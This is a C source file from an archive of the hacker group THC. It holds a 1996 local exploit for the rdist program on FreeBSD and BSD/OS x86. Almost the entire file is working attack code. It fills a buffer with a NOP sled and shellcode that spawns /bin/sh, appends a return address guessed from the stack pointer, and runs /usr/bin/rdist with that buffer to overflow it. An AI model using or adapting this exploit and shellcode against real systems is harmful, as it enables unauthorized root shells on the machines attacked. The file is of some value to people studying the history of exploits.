initial push of all stuff :)
[oweals/thc-archive.git] / Exploits / rdist.c
1 /*
2  * rdist exploit for freebsd & bsd/os x86 2.0
3  * discovered by brian mitchell
4  * coded by plasmoid/thc/deep for thc-magazine issue #3
5  * 12/12/96
6  */
7
8 #include <stdio.h>
9
10 #define lv_size   256
11 #define offset     30+lv_size+8*4
12
13 long get_sp()
14 {
15     __asm__("movl %esp, %eax");
16 }
17
18
19 main(int argc, char **argv)
20 {
21     char execshell[] =
22         "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
23         "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
24         "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
25         "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
26
27     char buffer[lv_size + 4 * 8];
28     unsigned long *ptr2 = NULL;
29     char *ptr = NULL;
30     int i;
31
32     for (i = 0; i < lv_size + 4 * 8; i++)
33         buffer[i] = 0x00;
34
35     ptr = buffer;
36     for (i = 0; i < lv_size - strlen(execshell); i++)
37         *(ptr++) = 0x90;
38
39     for (i = 0; i < strlen(execshell); i++)
40         *(ptr++) = execshell[i];
41
42     ptr2 = (long *) ptr;
43     for (i = 1; i < 2; i++)
44         *(ptr2++) = get_sp() + offset;
45
46     printf("discovered by brian mitchell\n"
47            "coded by plasmoid/thc/deep\n" "for thc-magazine issue #3\n");
48
49     execl("/usr/bin/rdist", "rdist", "-d", buffer, "-d", buffer, NULL);
50 }